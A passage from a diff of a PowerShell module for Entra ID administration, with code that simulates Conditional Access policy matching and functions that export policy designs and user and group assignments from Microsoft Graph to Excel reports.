($TrustedLocation -contains $ConditionsToSimulate.Country) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED' } + } + else { + if ($JSONFile) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: APPLIED (JSON mode assumes included)' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeLocationsCountry: NOT APPLIED' } + $IncludeLocationsCountryMatch = $false + } + } + } + + if ($IncludeLocationsIPAddressMatch -eq $false -and $IncludeLocationsCountryMatch -eq $false) { + $PolicyMatch = $false + } + + + #ExcludePlatforms + if (($Policy.Conditions.Platforms.ExcludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + elseif ($Policy.Conditions.Platforms.ExcludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludePlatforms: APPLIED' } + } + + + #IncludePlatforms + if (($Policy.Conditions.Platforms.IncludePlatforms).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -eq 'all') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + elseif ($Policy.Conditions.Platforms.IncludePlatforms -contains $ConditionsToSimulate.Platform) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: APPLIED' } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludePlatforms: NOT APPLIED' } + $PolicyMatch = $false + } + + + #SignInRiskLevels + if (($Policy.Conditions.SignInRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.SignInRiskLevels -notcontains $ConditionsToSimulate.SignInRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'SignInRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #UserRiskLevels + if (($Policy.Conditions.UserRiskLevels).Count -eq 0) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: APPLIED' } + } + elseif ($Policy.Conditions.UserRiskLevels -notcontains $ConditionsToSimulate.UserRiskLevel) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'UserRiskLevels: NOT APPLIED' } + $PolicyMatch = $false + } + + + #ExcludeGroups + $ExcludeGroupsResult = 'ExcludeGroups: APPLIED' + + if (($Policy.Conditions.Users.ExcludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.ExcludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $ExcludeGroupsResult = 'ExcludeGroups: NOT APPLIED' + break + } + } + } + + if ($ExcludeGroupsResult -eq 'ExcludeGroups: APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $ExcludeGroupsResult } + $PolicyMatch = $false + } + + + #IncludeGroups + $IncludeGroupsResult = 'IncludeGroups: NOT APPLIED' + + if (($Policy.Conditions.Users.IncludeGroups).Count -eq 0) { + # + } + else { + foreach ($Group in $Policy.Conditions.Users.IncludeGroups) { + if ($ConditionsToSimulate.Groups -contains $Group) { + $IncludeGroupsResult = 'IncludeGroups: APPLIED' + break + } + } + } + + if ($IncludeGroupsResult -eq 'IncludeGroups: NOT APPLIED') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message $IncludeGroupsResult } + $GroupMatch = $true + } + + + #ExcludeGuestsOrExternalUsers + #IncludeGuestsOrExternalUsers + #ExcludeRoles + #IncludeRoles + + + #ExcludeUsers + if ($Policy.Conditions.Users.excludeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $UserMatch = $false + } + elseif ($Policy.Conditions.Users.ExcludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: NOT APPLIED' } + $PolicyMatch = $false + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'ExcludeUsers: APPLIED' } + } + + + #IncludeUsers + if ($Policy.Conditions.Users.IncludeUsers -eq 'All') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.includeGuestsOrExternalUsers.GuestOrExternalUserTypes -and $ConditionsToSimulate.UserId -eq 'GuestsOrExternalUsers') { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + elseif ($Policy.Conditions.Users.IncludeUsers -contains $ConditionsToSimulate.UserId) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: APPLIED' } + $UserMatch = $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message 'IncludeUsers: NOT APPLIED' } + $UserMatch = $false + } + + + if ($PolicyMatch) { + if ($GroupMatch -or $UserMatch) { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: TRUE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $true + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + } + else { + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message "POLICY APPLIED: FALSE" } + $CustomObject | Add-Member -MemberType NoteProperty -Name "Match" -Value $false + } + + + $CustomObject + + if ($VerbosePolicyEvaluation) { Write-Verbose -Verbose -Message '' } + } + + + Write-Verbose -Verbose -Message "Results..." + + + if ($IncludeNonMatchingPolicies) { + $Result + } + else { + $Result | where Match -eq $true + } + + + if ($SummarizedOutput) { + $Enforcement = @((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $Enforcement += 'authenticationStrength' + } + + if ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $Enforcement += 'termsOfUse' + } + + $CustomControls = ((($Result | where Match -eq $True).GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $Enforcement += $CustomControls + } + + if ($Enforcement -contains 'block') { + $Enforcement = 'block' + } + + Write-Host '' + Write-Host -ForegroundColor Cyan 'Entra ID Sign-In test parameters:' + Write-Host -ForegroundColor Magenta ($ConditionsToSimulate | Format-List | Out-String) + + Write-Host -ForegroundColor Cyan 'Applied Conditional Access policies:' + + $AppliedPolicies = foreach ($Policy in ($Result | where Match -eq $True)) { + $EnforcementPerPolicy = @(($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).BuiltInControls | Select-Object -Unique) + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).AuthenticationStrength -eq $true) { + $EnforcementPerPolicy += 'authenticationStrength' + } + + if (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).TermsOfUse | Select-Object -Unique) { + $EnforcementPerPolicy += 'termsOfUse' + } + + $CustomControls = (($Policy.GrantControls | ConvertFrom-Json -ErrorAction SilentlyContinue).CustomAuthenticationFactors | Select-Object -Unique) + + if ($CustomControls) { + $EnforcementPerPolicy += $CustomControls + } + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Policy" -Value ($Policy).Policy + + $Operator = ($Policy).GrantControls.Operator + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Operator" -Value ((($Policy).GrantControls | ConvertFrom-Json).Operator) + + $CustomObject | Add-Member -MemberType NoteProperty -Name "Controls" -Value $EnforcementPerPolicy + $CustomObject + } + + Write-Host -ForegroundColor Magenta ($AppliedPolicies | Format-Table | Out-String) + + if (!($AppliedPolicies)) { + Write-Host -ForegroundColor DarkGray 'None' + Write-Host '' + Write-Host '' + } + + Write-Host -ForegroundColor Cyan "Enforced controls:" + + foreach ($Row in ($Enforcement -replace " ", "`n")) { + if ($Row -eq 'block') { + Write-Host -ForegroundColor Red $Row + } + else { + Write-Host -ForegroundColor Green $Row + } + } + + if (!($Enforcement)) { + Write-Host '' + Write-Host -ForegroundColor DarkGray 'No controls enforced :(' + Write-Host '' + } + + Write-Host '' + } + + + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCConditionalAccessPolicyDesignReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing your current Conditional Access policy design. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Conditional Access policies and exports an Excel report, You can use the report as documentation, design document, or to get a nice overview of all your policies. + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + The report is exported to Excel and will automatically open. In Excel, please do this: + 1. Select all cells. + 2. Click on "Wrap Text". + 3. Click on "Top Align". + + The report is now easier to read. + + The user running this CMDlet (the one who signs in when the authentication pops up) must have the appropriate permissions in Entra ID (Global Admin, Security Admin, Conditional Access Admin, etc). + + .INPUTS + None + + .OUTPUTS + Excel report with all Conditional Access policies. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + New-DCConditionalAccessPolicyDesignReport + #> + + + + # ----- [Initialisations] ----- + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check if the Excel module is installed. + if (Get-Module -ListAvailable -Name "ImportExcel") { + # Do nothing. + } + else { + Write-Error -Exception "The Excel PowerShell module is not installed. Please, run 'Install-Module ImportExcel -Force' as an admin and try again." -ErrorAction Stop + } + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Connect to Microsoft Graph. + Connect-DCMsGraphAsUser -Scopes 'Policy.Read.ConditionalAccess', 'Application.Read.All', 'Policy.Read.All', 'Directory.Read.All' -Verbose + + + # Export all Conditional Access policies from Microsoft Graph as JSON. + Write-Verbose -Verbose -Message "Generating Conditional Access policy design report..." + + # Fetch conditional access policies. + Write-Verbose -Verbose -Message "Getting all Conditional Access policies..." + $CAPolicies = (Invoke-MgGraphRequest -Method GET -Uri 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies').value | ConvertTo-Json -Depth 10 | ConvertFrom-Json + + # Fetch service principals for id translation. + $EnterpriseApps = Get-MgServicePrincipal + + # Fetch roles for id translation. + $EntraIDRoles = Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Description, Id | Sort-Object DisplayName + + + # Format the result. + $Result = foreach ($Policy in $CAPolicies) { + $CustomObject = New-Object -TypeName psobject + + + # displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value (Out-String -InputObject $Policy.displayName) + + + # state + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value (Out-String -InputObject $Policy.state) + + + # includeUsers + $Users = foreach ($User in $Policy.conditions.users.includeUsers) { + if ($User -ne 'All' -and $User -ne 'GuestsOrExternalUsers' -and $User -ne 'None') { + (Get-MgUser -Filter "id eq '$User'").userPrincipalName + } + else { + $User + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsers" -Value (Out-String -InputObject $Users) + + + # excludeUsers + $Users = foreach ($User in $Policy.conditions.users.excludeUsers) { + if ($User -ne 'All' -and $User -ne 'GuestsOrExternalUsers' -and $User -ne 'None') { + (Get-MgUser -Filter "id eq '$User'").userPrincipalName + } + else { + $User + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsers" -Value (Out-String -InputObject $Users) + + + # includeGroups + $Groups = foreach ($Group in $Policy.conditions.users.includeGroups) { + if ($Group -ne 'All' -and $Group -ne 'None') { + (Get-MgGroup -Filter "id eq '$Group'").DisplayName + } + else { + $Group + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroups" -Value (Out-String -InputObject $Groups) + + + # excludeGroups + $Groups = foreach ($Group in $Policy.conditions.users.excludeGroups) { + if ($Group -ne 'All' -and $Group -ne 'None') { + (Get-MgGroup -Filter "id eq '$Group'").DisplayName + } + else { + $Group + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroups" -Value (Out-String -InputObject $Groups) + + + # includeRoles + $Roles = foreach ($Role in $Policy.conditions.users.includeRoles) { + if ($Role -ne 'None' -and $Role -ne 'All') { + $RoleToCheck = ($EntraIDRoles | Where-Object { $_.Id -eq $Role }).displayName + + if ($RoleToCheck) { + $RoleToCheck + } + else { + $Role + } + } + else { + $Role + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRoles" -Value (Out-String -InputObject $Roles) + + + # excludeRoles + $Roles = foreach ($Role in $Policy.conditions.users.excludeRoles) { + if ($Role -ne 'None' -and $Role -ne 'All') { + $RoleToCheck = ($EntraIDRoles | Where-Object { $_.Id -eq $Role }).displayName + + if ($RoleToCheck) { + $RoleToCheck + } + else { + $Role + } + } + else { + $Role + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRoles" -Value (Out-String -InputObject $Roles) + + + # includeApplications + $Applications = foreach ($Application in $Policy.conditions.applications.includeApplications) { + if ($Application -ne 'None' -and $Application -ne 'All' -and $Application -ne 'Office365') { + ($EnterpriseApps | Where-Object { $_.AppId -eq $Application }).displayName + } + else { + $Application + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeApplications" -Value (Out-String -InputObject $Applications) + + + # excludeApplications + $Applications = foreach ($Application in $Policy.conditions.applications.excludeApplications) { + if ($Application -ne 'None' -and $Application -ne 'All' -and $Application -ne 'Office365') { + ($EnterpriseApps | Where-Object { $_.AppId -eq $Application }).displayName + } + else { + $Application + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeApplications" -Value (Out-String -InputObject $Applications) + + + # includeUserActions + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUserActions" -Value (Out-String -InputObject $Policy.conditions.applications.includeUserActions) + + + # userRiskLevels + $CustomObject | Add-Member -MemberType NoteProperty -Name "userRiskLevels" -Value (Out-String -InputObject $Policy.conditions.userRiskLevels) + + + # signInRiskLevels + $CustomObject | Add-Member -MemberType NoteProperty -Name "signInRiskLevels" -Value (Out-String -InputObject $Policy.conditions.signInRiskLevels) + + + # includePlatforms + $CustomObject | Add-Member -MemberType NoteProperty -Name "includePlatforms" -Value (Out-String -InputObject $Policy.conditions.platforms.includePlatforms) + + # excludePlatforms + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludePlatforms" -Value (Out-String -InputObject $Policy.conditions.platforms.excludePlatforms) + + #includeDeviceIDs + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeDeviceIDs" -Value (Out-String -InputObject $Policy.conditions.deviceIDs.includeDeviceIDs) + + #excludeDeviceIDs + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeDeviceIDs" -Value (Out-String -InputObject $Policy.conditions.deviceIDs.excludeDeviceIDs) + + # clientAppTypes + $CustomObject | Add-Member -MemberType NoteProperty -Name "clientAppTypes" -Value (Out-String -InputObject $Policy.conditions.clientAppTypes) + + + # includeLocations + $includeLocations = foreach ($includeLocation in $Policy.conditions.locations.includeLocations) { + if ($includeLocation -ne 'All' -and $includeLocation -ne 'AllTrusted' -and $includeLocation -ne '00000000-0000-0000-0000-000000000000') { + (Get-MgIdentityConditionalAccessNamedLocation -Filter "Id eq '$includeLocation'").DisplayName + } + elseif ($includeLocation -eq '00000000-0000-0000-0000-000000000000') { + 'MFA Trusted IPs' + } + else { + $includeLocation + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeLocations" -Value (Out-String -InputObject $includeLocations) + + + # excludeLocation + $excludeLocations = foreach ($excludeLocation in $Policy.conditions.locations.excludeLocations) { + if ($excludeLocation -ne 'All' -and $excludeLocation -ne 'AllTrusted' -and $excludeLocation -ne '00000000-0000-0000-0000-000000000000') { + (Get-MgIdentityConditionalAccessNamedLocation -Filter "Id eq '$includeLocation'").DisplayName + } + elseif ($excludeLocation -eq '00000000-0000-0000-0000-000000000000') { + 'MFA Trusted IPs' + } + else { + $excludeLocation + } + } + + + # excludeLocations + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeLocations" -Value (Out-String -InputObject $excludeLocations) + + + # grantControls + $CustomObject | Add-Member -MemberType NoteProperty -Name "grantControls" -Value (Out-String -InputObject $Policy.grantControls.builtInControls) + + + # termsOfUse + $TermsOfUses = foreach ($TermsOfUse in $Policy.grantControls.termsOfUse) { + $GraphUri = "https://graph.microsoft.com/v1.0/agreements/$TermsOfUse" + (Get-MgAgreement | where Id -eq $TermsOfUse).displayName + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "termsOfUse" -Value (Out-String -InputObject $TermsOfUses) + + + # operator + $CustomObject | Add-Member -MemberType NoteProperty -Name "operator" -Value (Out-String -InputObject $Policy.grantControls.operator) + + + # sessionControlsapplicationEnforcedRestrictions + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlsapplicationEnforcedRestrictions" -Value (Out-String -InputObject $Policy.sessionControls.applicationEnforcedRestrictions.isEnabled) + + + # sessionControlscloudAppSecurity + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlscloudAppSecurity" -Value (Out-String -InputObject $Policy.sessionControls.cloudAppSecurity.isEnabled) + + + # sessionControlssignInFrequency + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlssignInFrequency" -Value (Out-String -InputObject $Policy.sessionControls.signInFrequency) + + + # sessionControlspersistentBrowser + $CustomObject | Add-Member -MemberType NoteProperty -Name "sessionControlspersistentBrowser" -Value (Out-String -InputObject $Policy.sessionControls.persistentBrowser) + + + # Return object. + $CustomObject + } + + + # Export the result to Excel. + Write-Verbose -Verbose -Message "Exporting report to Excel..." + $Path = "$((Get-Location).Path)\Conditional Access Policy Design Report $(Get-Date -Format 'yyyy-MM-dd').xlsx" + $Result | Export-Excel -Path $Path -WorksheetName "CA Policies" -BoldTopRow -FreezeTopRow -AutoFilter -AutoSize -ClearSheet -Show + + + Write-Verbose -Verbose -Message "Saved $Path" + Write-Verbose -Verbose -Message "Done!" +} + + + +function New-DCConditionalAccessAssignmentReport { + <# + .SYNOPSIS + Automatically generate an Excel report containing your current Conditional Access assignments. + + .DESCRIPTION + Uses Microsoft Graph to fetch all Conditional Access policy assignments, both group- and user assignments (for now, it doesn't support role assignments). It exports them to Excel in a nicely formatted report for your filtering and analysing needs. If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce very large reports if you have included large groups in your policy assignments). + + The purpose of the report is to give you an overview of how Conditional Access policies are currently applied in an Entra ID tenant, and which users are targeted by which policies. + + The report does not include information about the policies themselves. Use New-DCConditionalAccessPolicyDesignReport for that task. + + The CMDlet also uses the PowerShell Excel Module for the export to Excel. You can install this module with: + Install-Module ImportExcel -Force + + The report is exported to Excel and will automatically open. In Excel, please do this: + 1. Select all cells. + 2. Click on "Wrap Text". + 3. Click on "Top Align". + + The report is now easier to read. + + More information can be found here: https://danielchronlund.com/2020/10/20/export-your-conditional-access-policy-assignments-to-excel/ + + .PARAMETER IncludeGroupMembers + If you include the -IncludeGroupMembers parameter, members of assigned groups will be included in the report as well (of course, this can produce a very large report if you have included large groups in your policy assignments). + + .INPUTS + None + + .OUTPUTS + Excel report with all Conditional Access aassignments. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + New-DCConditionalAccessAssignmentReport + + .EXAMPLE + New-DCConditionalAccessAssignmentReport -IncludeGroupMembers + #> + + + + # ----- [Initialisations] ----- + + # Script parameters. + param ( + [parameter(Mandatory = $false)] + [switch]$IncludeGroupMembers + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check if the Excel module is installed. + if (Get-Module -ListAvailable -Name "ImportExcel") { + # Do nothing. + } + else { + Write-Error -Exception "The Excel PowerShell module is not installed. Please, run 'Install-Module ImportExcel -Force' as an admin and try again." -ErrorAction Stop + } + + + # Connect to Microsoft Graph. + Write-Verbose -Verbose -Message "Connecting to Microsoft Graph..." + if (!($AccessToken)) { + $AccessToken = Invoke-DCEntraIDDeviceAuthFlow -ReturnAccessTokenInsteadOfRefreshToken + } + + + # Get all Conditional Access policies. + Write-Verbose -Verbose -Message "Getting all Conditional Access policies..." + $GraphUri = 'https://graph.microsoft.com/beta/identity/conditionalAccess/policies' + $CAPolicies = @(Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri) + Write-Verbose -Verbose -Message "Found $(($CAPolicies).Count) policies..." + + + # Get all group and user conditions from the policies. + $CAPolicies = foreach ($Policy in $CAPolicies) { + Write-Verbose -Verbose -Message "Getting assignments for policy $($Policy.displayName)..." + $CustomObject = New-Object -TypeName psobject + + + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value $Policy.displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value $Policy.state + + + Write-Verbose -Verbose -Message "Getting include groups for policy $($Policy.displayName)..." + $includeGroupsDisplayName = foreach ($Object in $Policy.conditions.users.includeGroups) { + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + } + catch { + # Do nothing. + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroupsDisplayName" -Value $includeGroupsDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeGroupsId" -Value $Policy.conditions.users.includeGroups + + + Write-Verbose -Verbose -Message "Getting exclude groups for policy $($Policy.displayName)..." + $excludeGroupsDisplayName = foreach ($Object in $Policy.conditions.users.excludeGroups) { + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + } + catch { + # Do nothing. + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroupsDisplayName" -Value $excludeGroupsDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeGroupsId" -Value $Policy.conditions.users.excludeGroups + + + Write-Verbose -Verbose -Message "Getting include users for policy $($Policy.displayName)..." + $includeUsersUserPrincipalName = foreach ($Object in $Policy.conditions.users.includeUsers) { + if ($Object -ne "All" -and $Object -ne "GuestsOrExternalUsers" -and $Object -ne "None") { + $GraphUri = "https://graph.microsoft.com/v1.0/users/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction "Continue").userPrincipalName + } + catch { + # Do nothing. + } + } + else { + $Object + } + } + + if ($Policy.conditions.users.includeUsers -ne "All" -and $Policy.conditions.users.includeUsers -ne "GuestsOrExternalUsers" -and $Policy.conditions.users.includeUsers -ne "None") { + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersUserPrincipalName" -Value $includeUsersUserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersId" -Value $Policy.conditions.users.includeUsers + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersUserPrincipalName" -Value $Policy.conditions.users.includeUsers + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeUsersId" -Value $Policy.conditions.users.includeUsers + } + + + Write-Verbose -Verbose -Message "Getting exclude users for policy $($Policy.displayName)..." + $excludeUsersUserPrincipalName = foreach ($Object in $Policy.conditions.users.excludeUsers) { + if ($Object -ne "All" -and $Object -ne "GuestsOrExternalUsers" -and $Object -ne "None") { + $GraphUri = "https://graph.microsoft.com/v1.0/users/$Object" + try { + (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction "Continue").userPrincipalName + } + catch { + # Do nothing. + } + } + else { + $Object + } + } + + if ($Policy.conditions.users.excludeUsers -ne "All" -and $Policy.conditions.users.excludeUsers -ne "GuestsOrExternalUsers" -and $Policy.conditions.users.excludeUsers -ne "None") { + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersUserPrincipalName" -Value $excludeUsersUserPrincipalName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersId" -Value $Policy.conditions.users.exludeUsers + } + else { + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersUserPrincipalName" -Value $Policy.conditions.users.exludeUsers + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeUsersId" -Value $Policy.conditions.users.exludeUsers + } + + + Write-Verbose -Verbose -Message "Getting include roles for policy $($Policy.displayName)..." + $includeRolesDisplayName = foreach ($Object in $Policy.conditions.users.includeRoles) { + $GraphUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=$Object" + $RoleInfo = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + if ($RoleInfo.displayName) { + $RoleInfo.displayName + } + else { + $Object + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRolesDisplayName" -Value $includeRolesDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "includeRolesId" -Value $Policy.conditions.users.includeRoles + + + Write-Verbose -Verbose -Message "Getting exclude roles for policy $($Policy.displayName)..." + $excludeRolesDisplayName = foreach ($Object in $Policy.conditions.users.excludeRoles) { + $GraphUri = "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=$Object" + $RoleInfo = Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri -ErrorAction SilentlyContinue + + if ($RoleInfo.displayName) { + $RoleInfo.displayName + } + else { + $Object + } + } + + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRolesDisplayName" -Value $excludeRolesDisplayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "excludeRolesId" -Value $Policy.conditions.users.excludeRoles + + + $CustomObject + } + + + # Fetch include group members from Entra ID: + $IncludeGroupMembersFromAd = @() + if ($IncludeGroupMembers) { + $IncludeGroupMembersFromAd = foreach ($Group in ($CAPolicies.includeGroupsId | Select-Object -Unique)) { + Write-Verbose -Verbose -Message "Getting include group members for policy $($Policy.displayName)..." + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group" + $GroupName = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group/members" + $Members = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).userPrincipalName | Sort-Object userPrincipalName + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Group" -Value $GroupName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Members" -Value $Members + $CustomObject + } + } + + + # Fetch exclude group members from Entra ID: + $ExcludeGroupMembersFromAd = @() + if ($IncludeGroupMembers) { + $ExcludeGroupMembersFromAd = foreach ($Group in ($CAPolicies.excludeGroupsId | Select-Object -Unique)) { + Write-Verbose -Verbose -Message "Getting exclude group members for policy $($Policy.displayName)..." + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group" + $GroupName = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).displayName + + $GraphUri = "https://graph.microsoft.com/v1.0/groups/$Group/members" + $Members = (Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri $GraphUri).userPrincipalName | Sort-Object userPrincipalName + + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name "Group" -Value $GroupName + $CustomObject | Add-Member -MemberType NoteProperty -Name "Members" -Value $Members + $CustomObject + } + } + + + # Get all group and user conditions from the policies. + $Result = foreach ($Policy in $CAPolicies) { + # Initiate custom object. + $CustomObject = New-Object -TypeName psobject + + + $CustomObject | Add-Member -MemberType NoteProperty -Name "displayName" -Value $Policy.displayName + $CustomObject | Add-Member -MemberType NoteProperty -Name "state" -Value $Policy.state + + + # Format include groups. + [string]$includeGroups = foreach ($Group in ($Policy.includeGroupsDisplayName | Sort-Object)) { + "$Group`r`n" + } + + if ($includeGroups.Length -gt 